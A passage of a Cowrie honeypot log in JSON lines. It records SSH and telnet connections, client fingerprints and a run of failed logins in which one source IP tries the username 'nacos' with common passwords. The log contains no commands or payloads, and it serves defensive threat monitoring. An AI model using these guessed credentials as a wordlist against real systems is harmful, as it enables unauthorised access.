{"eventid":"cowrie.login.failed","username":"nacos","password":"Huawei@123","message":"login attempt [nacos/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:22.570226Z","src_ip":"36.253.9.69","session":"be502ad6afac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.47914791107178,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:22.701371Z","src_ip":"38.60.198.128","session":"080fe341f8a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:23.807372Z","src_ip":"36.253.9.69","session":"be502ad6afac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":38190,"dst_ip":"10.17.0.5","dst_port":22,"session":"d046e713db7a","protocol":"ssh","message":"New connection: 36.253.9.69:38190 (10.17.0.5:22) [session: d046e713db7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:24.051206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:24.056480Z","src_ip":"36.253.9.69","session":"d046e713db7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:24.295138Z","src_ip":"36.253.9.69","session":"d046e713db7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49934,"dst_ip":"10.17.0.5","dst_port":23,"session":"a675d4107413","protocol":"telnet","message":"New connection: 38.54.119.93:49934 (10.17.0.5:23) [session: a675d4107413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:24.787900Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"baidu@123","message":"login attempt [nacos/baidu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:25.322103Z","src_ip":"36.253.9.69","session":"d046e713db7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:26.595515Z","src_ip":"36.253.9.69","session":"d046e713db7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":38200,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e62fe5bff36","protocol":"ssh","message":"New connection: 36.253.9.69:38200 (10.17.0.5:22) [session: 8e62fe5bff36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:26.822426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:26.830927Z","src_ip":"36.253.9.69","session":"8e62fe5bff36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:27.060888Z","src_ip":"36.253.9.69","session":"8e62fe5bff36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Baidu@123","message":"login attempt [nacos/Baidu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:28.054644Z","src_ip":"36.253.9.69","session":"8e62fe5bff36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:29.287920Z","src_ip":"36.253.9.69","session":"8e62fe5bff36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":57570,"dst_ip":"10.17.0.5","dst_port":22,"session":"44dcdc41e414","protocol":"ssh","message":"New connection: 36.253.9.69:57570 (10.17.0.5:22) [session: 44dcdc41e414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:29.539072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:29.543176Z","src_ip":"36.253.9.69","session":"44dcdc41e414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.25602674484253,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:29.700888Z","src_ip":"38.60.198.128","session":"9287a5034cbf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:29.788684Z","src_ip":"36.253.9.69","session":"44dcdc41e414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.71185898780823,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:30.650304Z","src_ip":"192.211.53.160","session":"2c9d52600be9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.869128465652466,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:30.656770Z","src_ip":"38.54.119.93","session":"a675d4107413","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"123.com","message":"login attempt [nacos/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:30.847204Z","src_ip":"36.253.9.69","session":"44dcdc41e414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.206352949142456,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:30.874392Z","src_ip":"38.60.198.128","session":"65697cd134c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50496,"dst_ip":"159.203.135.109","dst_port":23,"session":"6076ea52c4ca","protocol":"telnet","message":"New connection: 38.60.198.128:50496 (159.203.135.109:23) [session: 6076ea52c4ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:31.887091Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:32.097434Z","src_ip":"36.253.9.69","session":"44dcdc41e414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":57572,"dst_ip":"10.17.0.5","dst_port":22,"session":"f36374d01bbe","protocol":"ssh","message":"New connection: 36.253.9.69:57572 (10.17.0.5:22) [session: f36374d01bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:32.324598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:32.329590Z","src_ip":"36.253.9.69","session":"f36374d01bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.67342209815979,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:32.537799Z","src_ip":"38.60.198.128","session":"054c9c5dc64c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:32.567806Z","src_ip":"36.253.9.69","session":"f36374d01bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51338,"dst_ip":"159.203.135.109","dst_port":23,"session":"18f1b41f9408","protocol":"telnet","message":"New connection: 38.60.198.128:51338 (159.203.135.109:23) [session: 18f1b41f9408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:32.757191Z"}
{"eventid":"cowrie.session.closed","duration":39.525171518325806,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:32.777376Z","src_ip":"192.211.53.160","session":"ab8412626359","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"123qweASD","message":"login attempt [nacos/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:33.596968Z","src_ip":"36.253.9.69","session":"f36374d01bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:34.839662Z","src_ip":"36.253.9.69","session":"f36374d01bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53750,"dst_ip":"159.203.135.109","dst_port":23,"session":"d401389abe1d","protocol":"telnet","message":"New connection: 38.60.198.128:53750 (159.203.135.109:23) [session: d401389abe1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:35.069680Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":57586,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc23facd1c8c","protocol":"ssh","message":"New connection: 36.253.9.69:57586 (10.17.0.5:22) [session: fc23facd1c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:35.092234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:35.096685Z","src_ip":"36.253.9.69","session":"fc23facd1c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:35.343459Z","src_ip":"36.253.9.69","session":"fc23facd1c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"P@ssw0rd123","message":"login attempt [nacos/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:36.405301Z","src_ip":"36.253.9.69","session":"fc23facd1c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55888,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b0f4931779c","protocol":"telnet","message":"New connection: 38.60.198.128:55888 (159.203.135.109:23) [session: 0b0f4931779c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:37.297158Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54056,"dst_ip":"159.203.135.109","dst_port":23,"session":"5442e6db0c6c","protocol":"telnet","message":"New connection: 38.60.198.128:54056 (159.203.135.109:23) [session: 5442e6db0c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:37.345590Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:37.656482Z","src_ip":"36.253.9.69","session":"fc23facd1c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":42764,"dst_ip":"10.17.0.5","dst_port":22,"session":"47997e6d3158","protocol":"ssh","message":"New connection: 36.253.9.69:42764 (10.17.0.5:22) [session: 47997e6d3158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:37.881060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:37.886557Z","src_ip":"36.253.9.69","session":"47997e6d3158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:38.125619Z","src_ip":"36.253.9.69","session":"47997e6d3158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"ai123","message":"login attempt [nacos/ai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:39.156947Z","src_ip":"36.253.9.69","session":"47997e6d3158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:40.399262Z","src_ip":"36.253.9.69","session":"47997e6d3158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":42780,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b739f0692b6","protocol":"ssh","message":"New connection: 36.253.9.69:42780 (10.17.0.5:22) [session: 5b739f0692b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:40.612559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:40.617519Z","src_ip":"36.253.9.69","session":"5b739f0692b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:40.840074Z","src_ip":"36.253.9.69","session":"5b739f0692b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"1qaz!QAZ","message":"login attempt [nacos/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:41.805465Z","src_ip":"36.253.9.69","session":"5b739f0692b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:43.031982Z","src_ip":"36.253.9.69","session":"5b739f0692b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":42794,"dst_ip":"10.17.0.5","dst_port":22,"session":"9014ea784b97","protocol":"ssh","message":"New connection: 36.253.9.69:42794 (10.17.0.5:22) [session: 9014ea784b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:43.289872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:43.295455Z","src_ip":"36.253.9.69","session":"9014ea784b97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.03986668586731,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:43.336907Z","src_ip":"38.60.198.128","session":"0b0f4931779c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nist